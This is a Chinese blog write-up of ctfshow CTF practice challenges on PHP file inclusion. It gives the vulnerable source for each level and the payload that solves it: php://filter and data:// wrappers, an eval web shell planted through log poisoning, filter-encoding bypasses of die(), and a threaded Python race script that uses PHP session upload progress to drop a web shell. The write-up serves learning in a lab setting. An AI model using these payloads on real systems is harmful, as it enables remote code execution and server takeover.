ctfshow+web入门（文件包含）

已于 2023-05-27 14:38:07 修改
阅读量689 收藏 2
点赞数 1
分类专栏： ctfshow web入门 文章标签： 安全
于 2023-04-13 10:35:31 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_59448417/article/details/130124451
版权

web78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

这道题的话直接用php伪协议，没有任何过滤直接用就好

?file=php://filter/convert.base64-encode/resource=flag.php

然后base64解码就好

web79

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这次换个协议，用data

data://text/plain,<?=eval($_POST[1]);?>

然后post传1=system(‘tac flag.php’);

web80

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);
include($file);
}else{highlight_file(__FILE__);
}

上把刚用了data协议这把就禁了

这里用临时日志

先用user-agent 插入<?php eval($_POST[1]);?>

再?file=/var/log/nginx/access.log，同时post传参

发现结果不对,ls试了一下发现换名字了，改成fl0g.php，即可

web81

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这个的话可以白嫖上道题的，还是很不错的

web82

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这次的话把小数点也禁了，这样的话就要用到无后缀了，考虑session

通过

在这里插入图片描述

会生成/tmp/sess_aaa文件

PHP_SESSION_UPLOAD_PROGRESS获取文件上传进度，通过它写指定的内容

然后就是跑脚本session竞争

import requests
import io
import threading
url = 'http://8627fd5b-9970-4ef4-9bc7-fa02b3c38342.challenge.ctf.show/'
sessionid='ctfshow'
data = {
    "1":" file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
def write(session):
    fileBytes = io.BytesIO(b'a'*1024*50)
    while True:
      response=session.post(url,
         data={
         'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST[1]);?>'
         },
         cookies={
         'PHPSESSID':sessionid
         },
         files={
         'file':('ctfshow.jpg',fileBytes)
         }
         )

def read(session):
    while True:
     response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
                          cookies={
                              'PHPSESSID': sessionid
                          }
                          )
     response2=session.get(url+'2.php');
     if response2.status_code==200:
        print('+++++++++++++++nice+++++++++++++++++')
     else:
        print(response2.status_code)
if __name__ == '__main__':
    event=threading.Event()
    with  requests.session() as session :
        for i in range(5):
          threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
          threading.Thread(target=read, args=(session,)).start()
    event.set()

然后访问2.php,再post传参命令执行

web83

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

虽然有session销毁，但是上次的脚本还可以继续使用

web84

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

这道题是先销毁了临时目录下的文件，再文件包含

不过脚本还可以跑，因为他每次删除都有间隔，叫cpu时间，如果我们在间隔时写进了文件还是可以成功的（该方法多线程不安全）

web85

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

这次内容里面不可以有<，

虽然理论上不可以了，不过上次脚本还可以试试，不行的话增加线程到10（我自己用的5个线程还可以）

web86

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀？', dirname(__FILE__));
set_include_path(还要秀？);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

它定义了一个包含路径，不过不影响继续用之前的脚本

web87

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

这次变成了一个写文件，考虑使用伪协议的过滤器?file=php://filter/write=string.rot13/resource=1.php，用两次url全编码

再用凯撒13进行编码<?php system('tac f*.php');?>

写入文件后直接访问1.php即可

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

这道题没有过滤冒号，可以直接用伪协议?file=data://text/plain;base64,<?php system('tac *.php');?>aa（为什么要加个aa，因为base64编码后会有=或者+存在，但因为这俩符号都被过滤了，所以在后面加两个无关字符来改变末尾的符号）对黄色部分进行base64编码即可

web116

这道题是一个视频，根据提示有misc，所以直接下载先

然后用binwalk分离发现了png图片但是保存不下来

又安装了foremost，分离后发现了图片但打不开，移动到windows桌面后看到

在这里插入图片描述

他这个就直接是文件包含，直接?file=flag.php就可以，然后抓包查看响应，再base64解码得到flag

web117

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这道题要绕过死亡die()利用filter伪协议再加编码绕过

就是利用编码把前面的规则变成不正常的东西，再把我们不正常的东西变成正常代码

?file=php://filter/write=convent.iconv.UCS-2LE.UCS-2BE/recource=a.php

同时post传递

content=?<hp pvela$(P_SO[T]1;)>?

然后再访问a.php命令执行即可

树脂与鸡脚
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
CTFshow web入门——文件包含
小元砸的博客
02-07 3337
Web 78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 一.分析代码： 使用 include进行了文件包含 二.解题过程： 构造playload： ?file=php://filter/read=convert.base64-encode/resource=flag.php Web 79 <?p
CTFShow-Web入门
weixin_58546222的博客
12-15 656
CTFShow爆破解题思路
ctfshow web入门 sql注入 web201--web208
最新发布
2301_81040377的博客
05-01 382
这是hackbar看到的cookie，没有的就是错误cookie就可以用hackbar。提示sql语句需要闭合，但是我们不需要处理，因为sqlmap可以帮忙处理。很奇怪别人看cookie都是应用程序看 的我在内存看的。抓包传cookie（鉴权）再sqlmap。常用sqlmap脚本。
文件包含漏洞详解与ctfshow文件包含漏洞模块的练习
RealIiikun的博客
03-25 462
​ 服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时，您只更新一个包含文件就可以了，或者当您向网站添加一张新页面时，仅仅需要修改一下菜单文件（而不是更新所有网页中的链接）。
ctfshow-Web入门-sherlock
m0_58327783的博客
04-13 488
信息泄露可以参考https://blog.csdn.net/a597934448/article/details/105431367。
CTFshow刷题日记-WEB-文件包含
Love&Share
09-04 4124
文件包含专题 web78 if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 依旧是代码审计类型 直接伪协议 ?file=php://filter/convert.base64-encode/resource=flag.php ?file=data://text/plain,<?php system("nl flag.php");
CTFSHOW web193 left标注盲注脚本
05-04
其中，它通过修改注入语句中的 payload 变量，来获取不同的信息，包括数据库名、表名、列名和 flag 的值。在获取每个字符时，它会枚举 flag 可能的字符，逐个尝试，直到找到正确的字符为止。最终，它会输出获取到的...
ctfshow web139命令盲注脚本
10-21
ctfshow靶场 web入门 web139 命令盲注脚本
CTFSHOW web183 正则爆破脚本
10-21
CTFSHOW web183 正则爆破脚本
ctfshow web184 正则爆破脚本0x16进制
10-21
ctfshow web184 正则爆破脚本0x16进制
ctfshow web189 无单引号，利用回显不同，盲注
10-21
ctfshow web189 无单引号，利用回显不同，盲注
ctfshow-web入门-sql
qq_43618536的博客
07-10 944
ctfshow-web入门-sql
ctfshow--web入门（web1-web20）
qing_chuan_的博客
05-20 276
mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag flag{ctfshow_old_database}考察vim缓存信息泄露，直接访问url/index.php.swp 注：上面的信息泄露可以参考。在进入/admin/,要登录密码，提示说密码在页面最下方，最下方有个电话号码372619038。考察git代码泄露，直接访问url/.git/index.php。查看源代码，发现flag。
CTF-show WEB入门--web2
m0_73912575的博客
10-25 221
CTF.show WEB入门--web2 解题write up
ctfshow web入门 (命令执行)
m0_69289738的博客
09-04 130
这题与上题相似，多过滤了一个system和php，这题就使用反引号执行代码，因为php被过滤，所以用问号代替。使用system（'ls'）看到有flag.php，直接cat flag.php，查看源代码得到flag。使用system命令把flag.php记录到1.txt。输入system（'ls'）发现flag.php。我们使用问号代替，再次访问，拿到flag。或者tac flag.php得到flag。我们直接访问flag.php是不会显示的。发现不行，因为flag被过滤了。访问1.txt，拿到flag。
渗透测试-ctfshow 爆破(web入门）
保持微笑的博客
12-29 4883
渗透测试-ctfshow 爆破(web入门）
CTFshow php特性 web105
Kradress的博客
12-14 358
目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:34:07 */ highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你
CTFSHOW 入门web105
qq_59970501的博客
09-20 550
ctfshow104 源码 highlight_file(__FILE__); include("flag.php"); ​ if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ 进行shal加密 echo $flag; } } ​ ​ ​ ?> 这题只要POST...
ctfshow 105-127
weixin_58519918的博客
06-15 689
wu
ctfshow web入门文件包含
05-24
我不确定你在问什么，但如果你是在问CTF中的Web入门题目，它可能包含以下内容： 1. 源代码：包含了网站的HTML、CSS和JavaScript代码，以及后端服务器脚本代码。 2. Robots.txt文件：该文件包含网站的爬虫指令，告诉...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

树脂与鸡脚

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值